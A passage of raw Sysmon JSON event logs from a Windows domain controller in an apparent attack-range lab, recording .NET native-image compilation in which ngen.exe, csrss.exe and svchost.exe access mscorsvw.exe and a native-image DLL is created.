AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:28.619\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4298-5F2D-0000-001049930A00}\r\nTargetProcessId: 876\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:28.619","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4298-5F2D-0000-001049930A00}","TargetProcessId":"876","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6715,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:28.619\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4298-5F2D-0000-001049930A00}\r\nTargetProcessId: 876\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:28.619","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4298-5F2D-0000-001049930A00}","TargetProcessId":"876","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6716,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:28.635\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4298-5F2D-0000-001049930A00}\r\nTargetProcessId: 876\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:28.635","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4298-5F2D-0000-001049930A00}","TargetProcessId":"876","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6717,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:28.713\r\nProcessGuid: {90617006-4298-5F2D-0000-001049930A00}\r\nProcessId: 876\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\36c-0\\Microsoft.GroupPolicy.ServerAdminTools.GPOAdminGrid.dll\r\nCreationUtcTime: 2020-08-07 12:01:28.713","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:28.713","ProcessGuid":"{90617006-4298-5F2D-0000-001049930A00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\36c-0\\Microsoft.GroupPolicy.ServerAdminTools.GPOAdminGrid.dll","CreationUtcTime":"2020-08-07 12:01:28.713","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6718,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:28.729\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4298-5F2D-0000-00102C970A00}\r\nTargetProcessId: 4416\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:28.729","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4298-5F2D-0000-00102C970A00}","TargetProcessId":"4416","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6719,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:28.744\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4298-5F2D-0000-00102C970A00}\r\nTargetProcessId: 4416\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:28.744","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4298-5F2D-0000-00102C970A00}","TargetProcessId":"4416","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6720,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:28.744\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4298-5F2D-0000-00102C970A00}\r\nTargetProcessId: 4416\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:28.744","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4298-5F2D-0000-00102C970A00}","TargetProcessId":"4416","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6721,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:28.807\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4298-5F2D-0000-0010819A0A00}\r\nTargetProcessId: 3756\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:28.807","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4298-5F2D-0000-0010819A0A00}","TargetProcessId":"3756","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6722,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:28.807\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4298-5F2D-0000-0010819A0A00}\r\nTargetProcessId: 3756\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:28.807","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4298-5F2D-0000-0010819A0A00}","TargetProcessId":"3756","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6723,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:28.807\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4298-5F2D-0000-0010819A0A00}\r\nTargetProcessId: 3756\r\nTargetImage: 